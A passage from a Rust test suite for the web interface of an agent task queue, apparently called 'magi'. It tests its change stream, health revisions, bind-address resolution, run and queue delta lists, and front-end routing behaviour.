22040            APP_JS.contains(
22041                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22042            ),
22043            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22044        );
22045        // applyRoute() only flips which view is visible for a plain `#runs`
22046        // hash - it does not itself redraw the list (see applyRoute's own
22047        // handling below) - so openRunsFiltered must call renderRuns()
22048        // itself, and must call applyRoute() too so the view flips even
22049        // when the hash string doesn't change (the operator may already be
22050        // on the Runs view when a tile is tapped, which fires no
22051        // hashchange event at all).
22052        assert!(
22053            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22054            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22055             hashchange event that may never fire"
22056        );
22057    }
22058
22059    #[test]
22060    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22061        // A stats tile can leave state.runsFilter.status set to something
22062        // done-by-construction (e.g. "merged") - picking "Active" afterward
22063        // must drop it the same way an incompatible tree section is already
22064        // dropped, or the Runs list renders permanently empty with no way
22065        // for the operator to tell why.
22066        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22067        assert!(
22068            APP_JS.contains(
22069                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22070            ),
22071            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22072             guard for an incompatible tree section"
22073        );
22074    }
22075
22076    #[test]
22077    fn every_stats_queue_tile_names_a_real_queue_section() {
22078        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22079        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22080        // (consumeQueueSectionFocus finds no matching <details> and drops
22081        // the focus) rather than fail loudly, so pin every key against the
22082        // section list it has to resolve against.
22083        assert!(
22084            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22085            "every queue tile built through sectionTile() must route its click through \
22086             openQueueSectionFocus"
22087        );
22088        for key in ["upnext", "running", "done", "held", "blocked"] {
22089            assert!(
22090                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22091                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22092            );
22093        }
22094        // Queued and Failed intentionally both resolve to "upnext" - the
22095        // same section queueSection() itself files them under - rather than
22096        // getting a section each.
22097        for line in [
22098            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22099            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22100            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22101            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22102            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22103            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22104        ] {
22105            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22106        }
22107    }
22108
22109    #[test]
22110    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22111        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22112        // above for the section-focus channel a stats queue tile drives:
22113        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22114        // through the stale-search-clear recursion into renderQueue(), and
22115        // clear it only once revealQueueSection() is actually about to run -
22116        // the same trap that once silently dropped a task-focus jump.
22117        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22118        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22119        assert!(APP_JS.contains("function revealQueueSection(details)"));
22120        assert!(
22121            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22122            "renderQueue() must consume both focus channels on every pass"
22123        );
22124        assert!(
22125            APP_JS.contains(
22126                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22127            ),
22128            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22129             the recursive renderQueue() call has nothing left to reveal"
22130        );
22131        assert!(
22132            APP_JS.contains(
22133                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22134            ),
22135            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22136        );
22137        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22138        // task-focus form of the hash - a plain `#queue` navigation only
22139        // flips which view is visible. openQueueSectionFocus() must
22140        // therefore call renderQueue() itself, and applyRoute() too so the
22141        // view flips even when the hash doesn't change (the Backlog may
22142        // already be open when a tile is tapped, firing no hashchange
22143        // event at all).
22144        assert!(
22145            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22146            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22147             hashchange event that may never fire"
22148        );
22149    }
22150
22151    #[tokio::test]
22152    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22153        let f = Fixture::start().await;
22154
22155        let mut socket = tokio::net::TcpStream::connect(f.addr)
22156            .await
22157            .expect("connect");
22158        socket
22159            .write_all(
22160                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22161            )
22162            .await
22163            .expect("write request");
22164
22165        // Read until the first event arrives rather than to end of stream: the
22166        // stream is endless by design, which is the point of the route.
22167        let mut seen = String::new();
22168        let mut buf = [0u8; 1024];
22169        while !seen.contains("event: change") {
22170            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22171                .await
22172                .expect("the stream must speak within five seconds")
22173                .expect("read");
22174            assert!(read > 0, "the server closed the change stream: {seen}");
22175            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22176        }
22177
22178        assert!(
22179            seen.to_lowercase()
22180                .contains("content-type: text/event-stream"),
22181            "the browser only reconnects automatically for a real SSE stream: {seen}"
22182        );
22183        let data = seen
22184            .lines()
22185            .find_map(|l| l.strip_prefix("data:"))
22186            .expect("a data line");
22187        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22188        assert!(
22189            payload["queue_rev"].is_u64()
22190                && payload["runs_rev"].is_u64()
22191                && payload["questions_rev"].is_u64()
22192                && payload["talks_rev"].is_u64()
22193                && payload["notifications_rev"].is_u64()
22194                && payload["loop_rev"].is_u64(),
22195            "the client needs one revision per store to know what to refetch, \
22196             and `talks_rev` is the only notification a standing talk gets - a \
22197             phone whose radio slept through a turn learns about it here, as \
22198             does one whose operator started the loop from another device: \
22199             {payload}"
22200        );
22201
22202        // The front end re-polls health on a timer and on wake, and takes the
22203        // revisions from that answer whenever the stream is not up. So health
22204        // has to carry every key the stream carries: a phone on a link that
22205        // will not hold an SSE connection is exactly the phone that must still
22206        // notice a question, and a missing key there is not a 500 but a UI
22207        // that quietly stops updating.
22208        let health = f.get("/api/health").await.json();
22209        for key in [
22210            "queue_rev",
22211            "runs_rev",
22212            "questions_rev",
22213            "talks_rev",
22214            "notifications_rev",
22215            "loop_rev",
22216        ] {
22217            assert!(
22218                health[key].is_u64(),
22219                "health is the change stream's fallback and is missing `{key}`: {health}"
22220            );
22221        }
22222    }
22223
22224    #[tokio::test]
22225    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22226        let home = TempDir::new().expect("temp home");
22227        let ui = delta_test_ui(home.path());
22228        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22229        // Establish the existing conversation's baseline before appending.
22230        // Wait on the stream's shared notification rather than repeatedly
22231        // rebuilding health (config, process and disk observations included).
22232        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22233        let mut changes = ui.monitor.broadcaster.subscribe();
22234        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22235        on_disk.turns.push(crate::talk::Turn {
22236            sender: None,
22237            breaks: Some(Vec::new()),
22238            messages: Vec::new(),
22239            posted_by: None,
22240            who: crate::talk::Who::Operator,
22241            body: "a new turn".to_owned(),
22242            at: Timestamp::now(),
22243            attachments: Vec::new(),
22244            usage: None,
22245        });
22246        ui.talks.put(&mut on_disk).expect("record a turn");
22247
22248        let after = tokio::time::timeout(Duration::from_secs(5), async {
22249            loop {
22250                let change = changes.recv().await.expect("monitor notification");
22251                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
22252                if revision != before {
22253                    assert_eq!(
22254                        change.payload["talks_delta"]["changed"],
22255                        serde_json::json!([talk])
22256                    );
22257                    break revision;
22258                }
22259            }
22260        })
22261        .await
22262        .expect("shared monitor observes external turn");
22263        assert_ne!(
22264            before, after,
22265            "a phone must be able to notice a talk's reply without polling every store"
22266        );
22267        let Json(observed) = health(State(ui)).await.expect("health");
22268        assert_eq!(
22269            observed.talks_rev, after,
22270            "health exposes the same revision"
22271        );
22272    }
22273
22274    #[test]
22275    fn bind_reads_back_from_the_spelling_the_cli_prints() {
22276        // The CLI shows the default in `--help` and parses whatever comes
22277        // back, so the two directions have to agree or `--bind auto` breaks
22278        // the moment someone copies the help text.
22279        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
22280            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
22281        }
22282        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
22283        assert!("everywhere".parse::<Bind>().is_err());
22284    }
22285
22286    #[test]
22287    fn an_explicit_bind_address_is_taken_verbatim() {
22288        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22289
22290        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22291
22292        assert_eq!(addr, asked);
22293        assert!(
22294            warning.is_none(),
22295            "an operator who named an address gets no lecture"
22296        );
22297    }
22298
22299    #[test]
22300    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22301        let (addr, warning) = resolve_bind(&Bind::Auto);
22302
22303        // This has to hold on a CI runner with no `tailscale` and on a dev box
22304        // with one, so the invariant asserted is the one shared by both
22305        // outcomes: the address is either a real tailnet address offered
22306        // without comment, or loopback with an explanation. What must never
22307        // happen is a silent fallback - an operator told "listening on
22308        // 127.0.0.1" with no reason would go looking for a firewall.
22309        match addr {
22310            IpAddr::V4(ip) if is_tailnet(&ip) => {
22311                assert!(warning.is_none(), "a tailnet address needs no warning");
22312            }
22313            other => {
22314                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22315                let warning = warning.expect("a fallback has to explain itself");
22316                assert!(
22317                    warning.contains("127.0.0.1") && warning.contains("local-only"),
22318                    "the warning says what happened and what it costs: {warning}"
22319                );
22320            }
22321        }
22322    }
22323
22324    #[test]
22325    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22326        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
22327        // boundary cases are what stop us binding to some other tool's idea of
22328        // an address.
22329        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22330        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22331        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22332        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22333        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22334    }
22335
22336    #[test]
22337    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22338        let ids = vec![
22339            "20260902-140501-aaaa".to_owned(),
22340            "20260902-140502-aabb".to_owned(),
22341        ];
22342
22343        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22344        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22345        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22346
22347        assert_eq!(missing.status, StatusCode::NOT_FOUND);
22348        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22349        assert_eq!(short, "20260902-140502-aabb");
22350    }
22351    #[tokio::test]
22352    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22353        // The prompt tells agents to reference attachments by bare filename.
22354        // A document served at `.../panel` resolves `shot.png` against its own
22355        // directory, i.e. `.../shot.png`, which is not the asset route - so a
22356        // panel written exactly as instructed showed broken images. Caught by
22357        // looking at a real one in a browser, not by reading the code.
22358        let fx = Fixture::start().await;
22359        let id = panel(
22360            &fx,
22361            "<img src=\"shot.png\">",
22362            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22363        );
22364
22365        // The frame's own URL ends in a filename, so its siblings are reachable.
22366        let doc = fx
22367            .get(&format!("/api/questions/{id}/panel/index.html"))
22368            .await;
22369        assert_eq!(doc.status, 200, "{}", doc.body);
22370        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22371
22372        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22373        assert_eq!(sibling.status, 200, "{}", sibling.body);
22374        assert_eq!(sibling.header("content-type"), Some("image/png"));
22375        assert_eq!(
22376            sibling.header("content-security-policy"),
22377            Some(PANEL_CSP),
22378            "the sibling route must carry the same policy as the asset route"
22379        );
22380
22381        // The original spelling keeps working: HEAD on it is how the front end
22382        // decides whether to mount a frame at all.
22383        assert_eq!(
22384            fx.head(&format!("/api/questions/{id}/panel")).await.status,
22385            200
22386        );
22387    }
22388
22389    #[test]
22390    fn delta_stamps_cover_add_update_remove_and_noop() {
22391        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22392        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22393        let delta = diff_stamps(&before, &after, 42);
22394        assert_eq!(delta.base, 42);
22395        assert_eq!(delta.changed, ["b", "c"]);
22396        assert_eq!(delta.removed, ["a"]);
22397        let same = diff_stamps(&after, &after, 43);
22398        assert!(same.changed.is_empty() && same.removed.is_empty());
22399        assert_ne!(stamps_revision(&before), stamps_revision(&after));
22400        let nanos: Stamps = [("b".into(), (2, 20))].into();
22401        let same_ms: Stamps = [("b".into(), (3, 20))].into();
22402        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22403        assert_eq!(stamps_revision(&Stamps::new()), 0);
22404    }
22405
22406    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22407        std::fs::create_dir_all(home.join("runs")).unwrap();
22408        Arc::new(
22409            Ui::new(
22410                Queue::at(home.join("queue")),
22411                Questions::at(home.join("questions")),
22412                Talks::at(home.join("talks")),
22413                home.join("runs"),
22414                home.to_owned(),
22415                PathBuf::from("/repo/magi"),
22416            )
22417            .with_worktrees_root(home.join("wt")),
22418        )
22419    }
22420
22421    #[test]
22422    fn monitor_scan_isolates_store_failures_and_recovers() {
22423        let home = TempDir::new().unwrap();
22424        let ui = delta_test_ui(home.path());
22425        std::fs::create_dir_all(ui.questions.root()).unwrap();
22426        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22427        let before = monitor_scan(&ui, None);
22428        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22429        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22430        std::fs::create_dir_all(ui.talks.root()).unwrap();
22431        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22432        let during = monitor_scan(&ui, Some(before.clone()));
22433        assert_eq!(during.0.2, before.0.2);
22434        assert_ne!(during.0.3, before.0.3);
22435        assert!(during.1[2].contains_key("new"));
22436        std::fs::remove_file(ui.questions.root()).unwrap();
22437        let after = monitor_scan(&ui, Some(during));
22438        assert_eq!(after.0.2, 0);
22439        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22440        // A failed first scan also permits healthy stores to publish.
22441        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22442        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22443    }
22444
22445    #[tokio::test]
22446    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22447        let home = TempDir::new().unwrap();
22448        let ui = delta_test_ui(home.path());
22449        let mut task = Task::new(
22450            "stream task".into(),
22451            "text".into(),
22452            PathBuf::from("/repo"),
22453            Source::Human,
22454        );
22455        ui.queue.put(&mut task).unwrap();
22456        let response = events(State(ui.clone())).await.into_response();
22457        let mut stream = response.into_body().into_data_stream();
22458        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22459            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22460                .await
22461                .unwrap()
22462                .unwrap()
22463                .unwrap();
22464            let text = String::from_utf8(chunk.to_vec()).unwrap();
22465            let data = text
22466                .lines()
22467                .find_map(|line| {
22468                    line.strip_prefix("data: ")
22469                        .or_else(|| line.strip_prefix("data:"))
22470                })
22471                .unwrap();
22472            serde_json::from_str(data).unwrap()
22473        }
22474        let initial = change(&mut stream).await;
22475        assert!(initial.get("queue_delta").is_none());
22476        task.instruction.push_str(" changed");
22477        ui.queue.put(&mut task).unwrap();
22478        let updated = change(&mut stream).await;
22479        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22480        assert_eq!(
22481            updated["queue_delta"]["changed"],
22482            serde_json::json!([task.id])
22483        );
22484        assert_eq!(
22485            updated["queue_rev"].as_u64(),
22486            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22487        );
22488        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22489        let removed = change(&mut stream).await;
22490        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22491        assert_eq!(
22492            removed["queue_delta"]["removed"],
22493            serde_json::json!([task.id])
22494        );
22495    }
22496
22497    #[tokio::test]
22498    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22499        let home = TempDir::new().unwrap();
22500        let ui = delta_test_ui(home.path());
22501        let queue = ui.queue.clone();
22502        let query = |ids: Option<&str>| {
22503            Query(ListQuery {
22504                limit: Some(2),
22505                ids: ids.map(str::to_owned),
22506            })
22507        };
22508        let mut root = Task::new(
22509            "root".into(),
22510            "instruction".into(),
22511            PathBuf::from("/repo"),
22512            Source::Human,
22513        );
22514        queue.put(&mut root).unwrap();
22515        let mut blocked = Task::new(
22516            "blocked".into(),
22517            "instruction".into(),
22518            PathBuf::from("/repo"),
22519            Source::Human,
22520        );
22521        blocked.block(vec![root.id.clone()], None);
22522        queue.put(&mut blocked).unwrap();
22523        let whole =
22524            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22525                .unwrap();
22526        let subset = serde_json::to_value(
22527            queue_list(State(ui.clone()), query(Some(&root.id)))
22528                .await
22529                .unwrap()
22530                .0,
22531        )
22532        .unwrap();
22533        assert_eq!(whole, subset, "requested root plus its blocked dependent");
22534        let blockers = serde_json::to_value(
22535            queue_list(State(ui.clone()), query(Some("")))
22536                .await
22537                .unwrap()
22538                .0,
22539        )
22540        .unwrap();
22541        assert_eq!(blockers.as_array().unwrap().len(), 1);
22542        assert_eq!(blockers[0]["id"], blocked.id);
22543        assert_eq!(
22544            blockers[0]["waits_on"],
22545            whole
22546                .as_array()
22547                .unwrap()
22548                .iter()
22549                .find(|row| row["id"] == blocked.id)
22550                .unwrap()["waits_on"]
22551        );
22552
22553        for id in [
22554            "20260902-140501-aaaa",
22555            "20260902-140502-bbbb",
22556            "20260902-140503-cccc",
22557        ] {
22558            write_run(&ui.runs, id, RunStatus::Merged);
22559        }
22560        let old = serde_json::to_value(
22561            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22562                .await
22563                .unwrap()
22564                .0,
22565        )
22566        .unwrap();
22567        assert!(
22568            old.as_array().unwrap().is_empty(),
22569            "older updates must not enter the window"
22570        );
22571        let newest = serde_json::to_value(
22572            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22573                .await
22574                .unwrap()
22575                .0,
22576        )
22577        .unwrap();
22578        assert_eq!(newest.as_array().unwrap().len(), 1);
22579        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22580
22581        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22582        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22583        let talks = serde_json::to_value(
22584            talks_list(
22585                State(ui.clone()),
22586                query(Some("20260905-000000-d4e5")),
22587                header::HeaderMap::new(),
22588            )
22589            .await
22590            .unwrap()
22591            .0,
22592        )
22593        .unwrap();
22594        assert_eq!(talks.as_array().unwrap().len(), 1);
22595        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22596        assert_eq!(
22597            serde_json::to_value(
22598                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22599                    .await
22600                    .unwrap()
22601                    .0
22602            )
22603            .unwrap(),
22604            serde_json::json!([])
22605        );
22606    }
22607
22608    #[tokio::test]
22609    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22610    async fn delta_payload_benchmark() {
22611        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22612        let ui = delta_test_ui(&home);
22613        let query = |ids: Option<String>| {
22614            Query(ListQuery {
22615                limit: Some(50),
22616                ids,
22617            })
22618        };
22619        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22620        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22621        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22622            .await
22623            .unwrap()
22624            .0;
22625        let queue_id = queue
22626            .iter()
22627            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22628            .unwrap_or(&queue[0])
22629            .task
22630            .id
22631            .clone();
22632        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22633            .await
22634            .unwrap()
22635            .0;
22636        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22637            .await
22638            .unwrap()
22639            .0;
22640        let talks_delta = talks_list(
22641            State(ui.clone()),
22642            query(Some(talks[0].id.clone())),
22643            header::HeaderMap::new(),
22644        )
22645        .await
22646        .unwrap()
22647        .0;
22648        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22649        eprintln!(
22650            "DELTA_PAYLOAD {}",
22651            serde_json::json!({
22652                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22653                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22654                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22655                "counts": [queue.len(), runs.len(), talks.len()],
22656                "blocked": queue_delta.len() - 1,
22657            })
22658        );
22659    }
22660
22661    #[test]
22662    fn runs_revision_moves_when_deleting_an_older_run() {
22663        let temp = TempDir::new().expect("tempdir");
22664        let runs = temp.path().join("runs");
22665        std::fs::create_dir_all(&runs).expect("create runs dir");
22666
22667        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22668
22669        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22670        std::thread::sleep(Duration::from_millis(10));
22671        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22672
22673        let rev_before = runs_revision(&runs);
22674        assert!(rev_before > 0);
22675
22676        let old_dir = runs.join("20260901-100000-old1");
22677        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22678
22679        let rev_after = runs_revision(&runs);
22680        assert_ne!(
22681            rev_before, rev_after,
22682            "deleting an older run must change the revision so other clients see the deletion"
22683        );
22684    }
22685
22686    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22687    /// process-global home entirely — `RunState::save` writes through
22688    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22689    /// (see `tests::home_lock` in the integration suite for why).
22690    fn write_state(runs: &FsPath, state: &RunState) {
22691        let dir = runs.join(&state.id);
22692        std::fs::create_dir_all(&dir).expect("run dir");
22693        std::fs::write(
22694            dir.join("run.json"),
22695            serde_json::to_string_pretty(state).expect("serialize run"),
22696        )
22697        .expect("write run.json");
22698    }
22699
22700    /// A seat starting or finishing is a write to `run.json` like any other,
22701    /// so it moves the same revision the change stream already watches —
22702    /// nothing new for `/api/events` to learn, but the property this feature
22703    /// depends on to reach the phone without a poll.
22704    #[test]
22705    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22706        let temp = TempDir::new().expect("tempdir");
22707        let runs = temp.path().join("runs");
22708        std::fs::create_dir_all(&runs).expect("create runs dir");
22709        let mut state = RunState::new(
22710            PathBuf::from("/repo/magi"),
22711            "main".to_owned(),
22712            "0123456789abcdef".to_owned(),
22713            "task".to_owned(),
22714            Config::default(),
22715        );
22716        state.id = "20260902-100000-c0de".to_owned();
22717        write_state(&runs, &state);
22718
22719        let rev_idle = runs_revision(&runs);
22720        std::thread::sleep(Duration::from_millis(10));
22721        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22722        write_state(&runs, &state);
22723        let rev_started = runs_revision(&runs);
22724        assert_ne!(
22725            rev_idle, rev_started,
22726            "a seat starting must move the revision"
22727        );
22728
22729        std::thread::sleep(Duration::from_millis(10));
22730        state.seat_finished("judge-1");
22731        write_state(&runs, &state);
22732        let rev_finished = runs_revision(&runs);
22733        assert_ne!(
22734            rev_started, rev_finished,
22735            "and clearing it again must move the revision a second time"
22736        );
22737    }
22738
22739    #[tokio::test]
22740    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22741        // `TaskView` flattens `Task`, so this is really asserting that
22742        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
22743        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
22744        // never touched web.rs, so nothing here caught it if it had.
22745        let fx = Fixture::start().await;
22746        let q = fx.queue();
22747
22748        let mut t = Task::new(
22749            "Task".to_owned(),
22750            "Instruction".to_owned(),
22751            PathBuf::from("/repo"),
22752            Source::Human,
22753        );
22754        t.block(
22755            vec!["20260101-000000-dead".to_owned()],
22756            Some("waiting on Task 1".to_owned()),
22757        );
22758        t.answers.push(crate::queue::AnsweredQuestion {
22759            question: "Which backend?".to_owned(),
22760            answer: "SQLite".to_owned(),
22761        });
22762        q.put(&mut t).expect("put t");
22763
22764        let res = fx.get("/api/queue").await;
22765        assert_eq!(res.status, 200);
22766        let list = res.json();
22767        let view = list
22768            .as_array()
22769            .expect("array")
22770            .iter()
22771            .find(|v| v["id"] == t.id)
22772            .expect("task in list");
22773        assert_eq!(view["status_str"], "blocked");
22774        assert_eq!(
22775            view["blocked_by"],
22776            serde_json::json!(["20260101-000000-dead"])
22777        );
22778        assert_eq!(view["block_reason"], "waiting on Task 1");
22779        assert_eq!(view["answers"][0]["question"], "Which backend?");
22780        assert_eq!(view["answers"][0]["answer"], "SQLite");
22781
22782        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
22783        // but never `answers` - that is a settled decision, not state
22784        // describing the current block, so it survives.
22785        let res = fx
22786            .post(&format!("/api/queue/{}/hold", t.short()), None)
22787            .await;
22788        assert_eq!(res.status, 200);
22789        let held = res.json();
22790        assert_eq!(held["status_str"], "held");
22791        assert_eq!(held["blocked_by"], serde_json::json!([]));
22792        assert!(held["block_reason"].is_null());
22793        assert_eq!(held["answers"][0]["answer"], "SQLite");
22794    }
22795
22796    #[tokio::test]
22797    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22798        let fx = Fixture::start().await;
22799        let queue = fx.queue();
22800        let questions = fx.questions();
22801        let mut task = Task::new(
22802            "Disk recovery".into(),
22803            "Inspect".into(),
22804            PathBuf::from("/repo"),
22805            Source::Human,
22806        );
22807        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22808        task.mark_disk_capacity();
22809        queue.put(&mut task).unwrap();
22810        let mut records = Vec::new();
22811        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22812            let mut q = Question::new(
22813                task.id.clone(),
22814                node.into(),
22815                "triage".into(),
22816                "Resume recovery?".into(),
22817                String::new(),
22818                vec![],
22819            );
22820            q.routed_task = Some(task.id.clone());
22821            questions.put(&mut q).unwrap();
22822            records.push(q);
22823        }
22824        let url = format!("/api/queue/{}", task.id);
22825        let view = fx.get(&url).await.json();
22826        assert_eq!(view["status_str"], "held");
22827        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22828        assert!(
22829            view["recovery"]
22830                .as_str()
22831                .unwrap()
22832                .contains("Disk recovery alone will not resume")
22833        );
22834        assert!(
22835            view["recovery"]
22836                .as_str()
22837                .unwrap()
22838                .contains("Disk wait (automatically monitored)")
22839        );
22840        for blocker in view["blockers"].as_array().unwrap() {
22841            assert!(blocker["destination"].is_null());
22842            assert!(
22843                blocker["next"]
22844                    .as_str()
22845                    .unwrap()
22846                    .contains("pending delivery")
22847            );
22848        }
22849        for q in &mut records {
22850            q.routed_chat = Some("owning-chat".into());
22851            questions.put(q).unwrap();
22852        }
22853        let view = fx.get(&url).await.json();
22854        for blocker in view["blockers"].as_array().unwrap() {
22855            assert_eq!(
22856                blocker["destination"],
22857                serde_json::json!(["chat", "owning-chat"])
22858            );
22859            assert_eq!(blocker["resolves_itself"], false);
22860        }
22861        // Answered routed decisions can still be awaiting task-chat application.
22862        for q in &mut records {
22863            q.status = ask::QuestionStatus::Answered;
22864            questions.put(q).unwrap();
22865        }
22866        assert!(crate::triage::pending_for(&questions, &task));
22867        let view = fx.get(&url).await.json();
22868        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22869        assert!(
22870            view["blockers"][0]["next"]
22871                .as_str()
22872                .unwrap()
22873                .contains("not yet applied")
22874        );
22875        for q in &records {
22876            task.mark_triage_applied(&q.id);
22877        }
22878        queue.put(&mut task).unwrap();
22879        assert!(!crate::triage::pending_for(&questions, &task));
22880        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22881        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22882    }
22883
22884    #[test]
